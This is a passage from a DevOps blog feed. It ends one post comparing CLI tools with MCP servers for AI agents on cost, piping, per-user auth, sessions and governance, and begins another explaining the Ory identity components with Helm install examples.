docker ps --format <span class="hljs-string">&quot;table {{.Names}}\t{{.Status}}&quot;</span>
terraform plan
</code></pre><p>MCP tools are new. The LLM has to read the schema at runtime and figure out how to use each tool. It is learning the API on the fly, which means more token usage and occasionally incorrect parameter choices.</p>
<p><strong>When this matters:</strong> For standard DevOps tools (kubectl, aws, docker, git, terraform), CLI is the natural choice. The AI already knows how to use them. For custom internal tools or APIs, MCP levels the playing field because neither approach has pretrained knowledge. 🧩</p>
<h2 id="h2-composability-cli-wins" class="group relative scroll-mt-24">
        <a href="#h2-composability-cli-wins" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          🔗 Composability: CLI Wins
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-composability-cli-wins"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>Unix pipes are one of the best ideas in computing, and they work naturally with AI agents:</p>
<pre><code class="hljs language-bash"><span class="hljs-comment"># Find pods using more than 1GB memory</span>
kubectl top pods -n production --no-headers | awk <span class="hljs-string">&#x27;$3 &gt; 1024 {print $1}&#x27;</span>

<span class="hljs-comment"># Get the 5 most recently modified files in a repo</span>
git <span class="hljs-built_in">log</span> --name-only --pretty=format: -50 | <span class="hljs-built_in">sort</span> | <span class="hljs-built_in">uniq</span> -c | <span class="hljs-built_in">sort</span> -rn | <span class="hljs-built_in">head</span> -5

<span class="hljs-comment"># Chain multiple tools together</span>
aws ec2 describe-instances --query <span class="hljs-string">&#x27;Reservations[].Instances[].InstanceId&#x27;</span> --output text | \
  xargs -I {} aws ec2 describe-tags --filters <span class="hljs-string">&quot;Name=resource-id,Values={}&quot;</span> --output table
</code></pre><p>One LLM call generates the whole pipeline. The shell handles the data flow between tools.</p>
<p>With MCP, composing multiple tools requires multiple round trips to the LLM. The AI calls tool A, reads the output, decides what to pass to tool B, calls tool B, reads that output, and so on. Each step costs tokens and adds latency.</p>
<pre><code class="hljs language-text">CLI: One LLM call -&gt; one piped command -&gt; one result
MCP: LLM call -&gt; tool A -&gt; LLM reasons -&gt; tool B -&gt; LLM reasons -&gt; tool C -&gt; result
</code></pre><p><strong>When this matters:</strong> For data processing, log analysis, and multi-step infrastructure queries where you&#39;re chaining tools together. CLI is faster and cheaper. MCP is better when the steps require complex reasoning between each tool call. ⛓️</p>
<h2 id="h2-multi-user-auth-mcp-wins" class="group relative scroll-mt-24">
        <a href="#h2-multi-user-auth-mcp-wins" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          🔐 Multi-User Auth: MCP Wins
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-multi-user-auth-mcp-wins"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>This is where CLI falls apart in team settings. CLI tools typically authenticate with a shared token or credential file:</p>
<pre><code class="hljs language-bash"><span class="hljs-comment"># Everyone shares the same AWS credentials</span>
<span class="hljs-built_in">export</span> AWS_ACCESS_KEY_ID=AKIA...
<span class="hljs-built_in">export</span> AWS_SECRET_ACCESS_KEY=...

<span class="hljs-comment"># Or the same kubeconfig</span>
<span class="hljs-built_in">export</span> KUBECONFIG=~/.kube/config
</code></pre><p>If you need to revoke access for one person, you have to rotate the shared credential for everyone. There is no per-user identity.</p>
<p>MCP servers support <strong>per-user OAuth</strong>. Each user authenticates individually, and you can revoke one user&#39;s access without touching anyone else:</p>
<pre><code class="hljs language-text">CLI:
  ┌──────────────┐
  │ Shared Token │ --&gt; Can&#x27;t revoke per user
  └──────────────┘

MCP:
  ┌──────────────┐  ┌──────────────┐  ┌──────────────┐
  │ User A OAuth │  │ User B OAuth │  │ User C OAuth │
  └──────────────┘  └──────────────┘  └──────────────┘
       Revoke one without affecting others
</code></pre><p><strong>When this matters:</strong> Any multi-user environment where you need individual accountability and the ability to revoke access per person. If it&#39;s just you running scripts on your own machine, this doesn&#39;t matter. 🔑</p>
<h2 id="h2-stateful-sessions-mcp-wins" class="group relative scroll-mt-24">
        <a href="#h2-stateful-sessions-mcp-wins" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          🔄 Stateful Sessions: MCP Wins
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-stateful-sessions-mcp-wins"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>Every CLI command is a fresh process. New TCP connection, new process, load config, authenticate, execute, return, die. For tools that talk to remote APIs, that connection overhead adds up:</p>
<pre><code class="hljs language-text">CLI:
  cmd 1 → new conn (200ms) → execute → close
  cmd 2 → new conn (200ms) → execute → close
  cmd 3 → new conn (200ms) → execute → close

MCP:
  connect once (5ms) → call 1 → call 2 → call 3 → ...
  Persistent connection, reuses state
</code></pre><p>MCP servers maintain a persistent connection. The server stays running, keeps state between calls, and avoids the overhead of re-establishing connections and re-loading configuration. If you&#39;re making 50 API calls in a session, MCP can be significantly faster.</p>
<p>This also enables <strong>stateful workflows</strong>. An MCP server can remember context from previous calls within the same session. A CLI tool forgets everything the moment it exits.</p>
<p><strong>When this matters:</strong> Long-running agent sessions with many API calls to the same service. Database exploration, complex deployment workflows, or anything where maintaining state between calls saves work. 🔄</p>
<h2 id="h2-enterprise-governance-mcp-wins" class="group relative scroll-mt-24">
        <a href="#h2-enterprise-governance-mcp-wins" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          🏢 Enterprise Governance: MCP Wins
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-enterprise-governance-mcp-wins"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>If your company cares about audit trails, access control, and compliance, CLI is a rough story:</p>
<pre><code class="hljs language-text">CLI governance:
  ~/.bash_history  &lt;- That&#x27;s it. Plain text. No structure. No monitoring.
</code></pre><p>You can bolt on logging (auditd, script, etc.), but it&#39;s aftermarket and fragile. There is no built-in way to monitor what tools are being called, by whom, or to enforce policies about which operations are allowed.</p>
<p>MCP servers can be built with governance baked in:</p>
<ul>
<li><strong>Audit logs</strong>: Every tool call is logged with user identity, parameters, and timestamps</li>
<li><strong>Access control</strong>: Define which users can call which tools with which parameters</li>
<li><strong>Monitoring</strong>: Real-time dashboards showing tool usage patterns and anomalies</li>
<li><strong>Revocation</strong>: Disable a tool or a user instantly without redeploying anything</li>
</ul>
<p><strong>When this matters:</strong> Regulated environments, SOC 2 compliance, financial services, healthcare, or any team that needs to answer &quot;who did what, when, and why&quot; during an incident review. 🏛️</p>
<h2 id="h2-decision-matrix-when-to-use-which" class="group relative scroll-mt-24">
        <a href="#h2-decision-matrix-when-to-use-which" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Decision Matrix: When to Use Which
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-decision-matrix-when-to-use-which"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>Here is a practical guide for common DevOps scenarios:</p>
<table>
<thead>
<tr>
<th>Scenario</th>
<th>Use CLI</th>
<th>Use MCP</th>
<th>Why</th>
</tr>
</thead>
<tbody><tr>
<td>Quick kubectl commands</td>
<td>✅</td>
<td></td>
<td>LLM knows kubectl, low tokens</td>
</tr>
<tr>
<td>AWS infrastructure queries</td>
<td>✅</td>
<td></td>
<td>aws-cli is well-known, pipes work</td>
</tr>
<tr>
<td>Log analysis with grep/awk</td>
<td>✅</td>
<td></td>
<td>Unix pipes are unbeatable here</td>
</tr>
<tr>
<td>Multi-user Slack bot</td>
<td></td>
<td>✅</td>
<td>Per-user auth is essential</td>
</tr>
<tr>
<td>Database exploration session</td>
<td></td>
<td>✅</td>
<td>Persistent connection, stateful</td>
</tr>
<tr>
<td>CI/CD pipeline triggers</td>
<td>✅</td>
<td></td>
<td>Simple command, no state needed</td>
</tr>
<tr>
<td>Internal tool with custom API</td>
<td></td>
<td>✅</td>
<td>No pretrained CLI knowledge anyway</td>
</tr>
<tr>
<td>Compliance-heavy environment</td>
<td></td>
<td>✅</td>
<td>Audit trails are non-negotiable</td>
</tr>
<tr>
<td>One-off script automation</td>
<td>✅</td>
<td></td>
<td>Lower overhead, faster</td>
</tr>
<tr>
<td>Long agent session (50+ calls)</td>
<td></td>
<td>✅</td>
<td>Connection reuse, amortized schema cost</td>
</tr>
</tbody></table>
<h2 id="h2-the-real-answer-use-both" class="group relative scroll-mt-24">
        <a href="#h2-the-real-answer-use-both" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          The Real Answer: Use Both 🤝
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-the-real-answer-use-both"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>In practice, most production setups will use both. Here is a pattern that works well:</p>
<pre><code class="hljs language-text">AI Agent
├── CLI tools (kubectl, aws, docker, git, terraform)
│   └── For: quick queries, piped workflows, one-off automation
│
└── MCP servers (internal APIs, databases, SaaS integrations)
    └── For: authenticated sessions, stateful workflows, governed access
</code></pre><p>Use CLI for the tools your LLM already knows and where composability matters. Use MCP for tools that need per-user auth, persistent state, or enterprise governance.</p>
<p>The worst pattern is forcing everything through one approach:</p>
<ul>
<li><strong>All CLI</strong> breaks down when you need per-user auth or audit trails in a team setting</li>
<li><strong>All MCP</strong> wastes tokens on tools the LLM already knows how to use natively</li>
</ul>
<p>Pick the right tool for each integration point, and you get the best of both worlds.</p>
<h2 id="h2-what-to-watch-for" class="group relative scroll-mt-24">
        <a href="#h2-what-to-watch-for" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          What to Watch For
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-what-to-watch-for"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>MCP is still early. A few things to keep in mind:</p>
<ul>
<li><strong>Schema size optimization</strong> is an active area of work. The 44K token overhead will likely shrink as the protocol matures and LLMs get better at working with compressed schemas.</li>
<li><strong>Caching</strong> can help significantly. If your agent uses the same MCP server repeatedly, caching the schema across sessions avoids the repeated loading cost.</li>
<li><strong>Hybrid tools</strong> are emerging. Some tools offer both a CLI and an MCP server, so you can use whichever fits the context. Expect more of this.</li>
<li><strong>Security model</strong> for MCP is still evolving. The per-user OAuth story is solid, but the ecosystem around policy enforcement and access control is still maturing.</li>
</ul>
<h2 id="h2-summary" class="group relative scroll-mt-24">
        <a href="#h2-summary" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Summary
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-summary"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>CLI and MCP are not competing standards. They solve different problems. CLI is cheaper, more composable, and benefits from decades of pretrained knowledge in LLMs. MCP is better for multi-user auth, stateful sessions, and enterprise governance.</p>
<p>The smart move is to use CLI where it&#39;s strong (standard DevOps tools, piped workflows, quick automation) and MCP where it&#39;s strong (authenticated APIs, stateful sessions, audited access). Most real-world AI agent setups will end up using both. 🚀</p>
]]></content:encoded>
    </item>
    <item>
      <title><![CDATA[The Ory Ecosystem Explained: Identity, OAuth2, and SSO for Kubernetes]]></title>
      <link>https://devops.anhp.site/posts/ory-ecosystem-identity-auth-kubernetes</link>
      <description><![CDATA[A practical breakdown of the Ory ecosystem - Kratos, Hydra, Polis, Oathkeeper, and Keto - what each one does, how they connect, and how to pick the right components for your auth stack.]]></description>
      <pubDate>Wed, 08 Apr 2026 09:00:00 GMT</pubDate>
      <guid isPermaLink="true">https://devops.anhp.site/posts/ory-ecosystem-identity-auth-kubernetes</guid>
      <category><![CDATA[Kubernetes]]></category>
      
      <category><![CDATA[Kubernetes]]></category><category><![CDATA[DevOps]]></category><category><![CDATA[Security]]></category><category><![CDATA[Identity]]></category><category><![CDATA[OAuth2]]></category><category><![CDATA[SSO]]></category><category><![CDATA[Helm]]></category>
      <content:encoded><![CDATA[<p>Authentication and identity management are the kind of things you really don&#39;t want to build from scratch. Roll your own password hashing, session management, OAuth2 flows, and SAML federation, and you&#39;ll spend months on security-critical code that still keeps you up at night.</p>
<p>Ory is an open-source ecosystem that gives you production-grade identity infrastructure. Each component handles a specific piece of the auth puzzle, and they work together as a complete stack. The problem is that the ecosystem has grown to include multiple products, and it&#39;s not always obvious which ones you actually need. This post breaks down each component, how they fit together, and which ones you can skip depending on your use case.</p>
<h2 id="h2-tldr" class="group relative scroll-mt-24">
        <a href="#h2-tldr" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          TLDR
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-tldr"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><ul>
<li><strong>Kratos</strong> handles user registration, login, recovery, and profile management - it&#39;s the identity store</li>
<li><strong>Hydra</strong> is a certified OAuth2/OIDC server that issues tokens</li>
<li><strong>Polis</strong> bridges SAML identity providers (Okta, Azure AD) into standard OAuth2 flows for enterprise SSO</li>
<li><strong>Oathkeeper</strong> is a reverse proxy for zero-trust auth - useful but optional if your app validates tokens itself</li>
<li><strong>Keto</strong> is a fine-grained authorization engine inspired by Google Zanzibar - only needed if you need centralized RBAC/ABAC across services</li>
<li>All components are open source and can be deployed on Kubernetes via Helm</li>
</ul>
<h2 id="h2-prerequisites" class="group relative scroll-mt-24">
        <a href="#h2-prerequisites" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Prerequisites
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-prerequisites"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><ul>
<li>Basic understanding of OAuth2 and OIDC concepts (access tokens, ID tokens, authorization flows)</li>
<li>Familiarity with Kubernetes and Helm</li>
<li>A PostgreSQL instance (all Ory services use Postgres)</li>
<li>Experience with identity concepts like SSO, SAML, and SCIM is helpful but not required</li>
</ul>
<h2 id="h2-the-ory-ecosystem-in-plain-english" class="group relative scroll-mt-24">
        <a href="#h2-the-ory-ecosystem-in-plain-english" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          The Ory Ecosystem in Plain English
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-the-ory-ecosystem-in-plain-english"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>Before diving into the details, here&#39;s the simplest way to think about it. Imagine you&#39;re building a B2B SaaS product and a customer says &quot;we need our employees to log in with their company Okta accounts.&quot; That one sentence involves a surprising number of moving parts:</p>
<ul>
<li>Somewhere to store user accounts (Kratos)</li>
<li>Something to issue OAuth2 tokens so your API knows who&#39;s calling (Hydra)</li>
<li>Something to translate between your customer&#39;s SAML-based Okta setup and the OAuth2 your app speaks (Polis)</li>
</ul>
<p>Each Ory component handles exactly one of these jobs. You can think of it like a Unix philosophy for identity: small, focused tools that compose together.</p>
<pre><code class="hljs language-text">+----------+     +----------+     +----------+
|  Kratos  |     |  Hydra   |     |  Polis   |
| &quot;Who are |     | &quot;Here&#x27;s  |     | &quot;I speak |
|   you?&quot;  |     | a token&quot; |     |  SAML so |
|          |     |          |     | you don&#x27;t|
|          |     |          |     | have to&quot; |
+----------+     +----------+     +----------+
  Identity         Tokens        Enterprise SSO
</code></pre><p>If all you need is username/password login, Kratos alone is enough. Need API tokens? Add Hydra. Enterprise customers with SAML? Add Polis. You build up only what you need.</p>
<h2 id="h2-why-ory-instead-of-auth0-clerk-or-firebase-auth" class="group relative scroll-mt-24">
        <a href="#h2-why-ory-instead-of-auth0-clerk-or-firebase-auth" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Why Ory Instead of Auth0, Clerk, or Firebase Auth?
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-why-ory-instead-of-auth0-clerk-or-firebase-auth"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>The short answer: control and cost at scale.</p>
<p>Managed auth services like Auth0 and Clerk are great until you hit their pricing tiers. Auth0 charges per monthly active user, and once you pass the free tier, costs climb fast. At 10,000 MAU, you&#39;re looking at hundreds of dollars per month. At 100,000, it&#39;s thousands.</p>
<table>
<thead>
<tr>
<th></th>
<th>Auth0</th>
<th>Clerk</th>
<th>Firebase Auth</th>
<th>Ory (self-hosted)</th>
</tr>
</thead>
<tbody><tr>
<td>1,000 MAU</td>
<td>Free</td>
<td>Free</td>
<td>Free</td>
<td>Free (your infra cost)</td>
</tr>
<tr>
<td>10,000 MAU</td>
<td>~$230/mo</td>
<td>~$100/mo</td>
<td>Free</td>
<td>~$50-100/mo (infra)</td>
</tr>
<tr>
<td>100,000 MAU</td>
<td>~$1,300/mo</td>
<td>~$500/mo</td>
<td>$0.06/MAU</td>
<td>~$50-100/mo (infra)</td>
</tr>
<tr>
<td>SAML SSO</td>
<td>Enterprise plan</td>
<td>$50/connection</td>
<td>Not included</td>
<td>Included (Polis)</td>
</tr>
<tr>
<td>Data residency</td>
<td>Enterprise plan</td>
<td>Enterprise plan</td>
<td>GCP regions</td>
<td>You choose</td>
</tr>
<tr>
<td>Vendor lock-in</td>
<td>High</td>
<td>High</td>
<td>Moderate</td>
<td>None</td>
</tr>
</tbody></table>
<p>The tradeoff: you&#39;re responsible for running and maintaining the infrastructure. If your team is already comfortable with Kubernetes, this is manageable. If you don&#39;t have ops capacity, a managed service might be the better call until you do.</p>
<p>Beyond cost, there are cases where self-hosted is the only option: strict data residency requirements, air-gapped environments, or compliance rules that don&#39;t allow user data to leave your infrastructure.</p>
<h2 id="h2-the-ory-components" class="group relative scroll-mt-24">
        <a href="#h2-the-ory-components" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          The Ory Components
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-the-ory-components"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><h3 id="h3-kratos-identity-management" class="group relative scroll-mt-24">
        <a href="#h3-kratos-identity-management" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Kratos - Identity Management
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-kratos-identity-management"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Kratos is the core of the ecosystem. It handles everything related to user identities: registration, login, account recovery, email verification, and profile management. It exposes all of this through a headless API, meaning there is no built-in UI. You bring your own frontend or use their reference implementation.</p>
<p>The key concepts to understand:</p>
<ul>
<li><strong>Identity schemas</strong> define what a user looks like (email, name, custom traits) using JSON Schema</li>
<li><strong>Self-service flows</strong> handle login, registration, recovery, and verification through API-driven workflows</li>
<li><strong>Credentials</strong> support multiple auth methods: passwords, OIDC, WebAuthn, TOTP, and lookup secrets</li>
<li><strong>Two APIs</strong>: a public API on port <code>4433</code> for user-facing operations and an admin API on port <code>4434</code> for identity CRUD and privileged operations</li>
</ul>
<p>Kratos needs PostgreSQL with the <code>pg_trgm</code>, <code>btree_gin</code>, and <code>uuid-ossp</code> extensions enabled.</p>
<pre><code class="hljs language-bash"><span class="hljs-comment"># Install Kratos via Helm</span>
helm repo add ory https://k8s.ory.sh/helm/charts
helm repo update
helm install kratos ory/kratos -f kratos-values.yaml
</code></pre><p>A minimal <code>kratos-values.yaml</code> looks like this:</p>
<pre><code class="hljs language-yaml"><span class="hljs-attr">kratos:</span>
  <span class="hljs-attr">config:</span>
    <span class="hljs-attr">dsn:</span> <span class="hljs-string">postgres://kratos:password@postgres:5432/kratos?sslmode=disable</span>
    <span class="hljs-attr">identity:</span>
      <span class="hljs-attr">default_schema_id:</span> <span class="hljs-string">default</span>
      <span class="hljs-attr">schemas:</span>
        <span class="hljs-bullet">-</span> <span class="hljs-attr">id:</span> <span class="hljs-string">default</span>
          <span class="hljs-attr">url:</span> <span class="hljs-string">file:///etc/config/identity.schema.json</span>
    <span class="hljs-attr">selfservice:</span>
      <span class="hljs-attr">default_browser_return_url:</span> <span class="hljs-string">https://your-app.example.com</span>
      <span class="hljs-attr">flows:</span>
        <span class="hljs-attr">login:</span>
          <span class="hljs-attr">ui_url:</span> <span class="hljs-string">https://your-app.example.com/login</span>
        <span class="hljs-attr">registration:</span>
          <span class="hljs-attr">ui_url:</span> <span class="hljs-string">https://your-app.example.com/register</span>
</code></pre><h3 id="h3-hydra-oauth2-and-openid-connect-provider" class="group relative scroll-mt-24">
        <a href="#h3-hydra-oauth2-and-openid-connect-provider" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Hydra - OAuth2 and OpenID Connect Provider
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-hydra-oauth2-and-openid-connect-provider"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
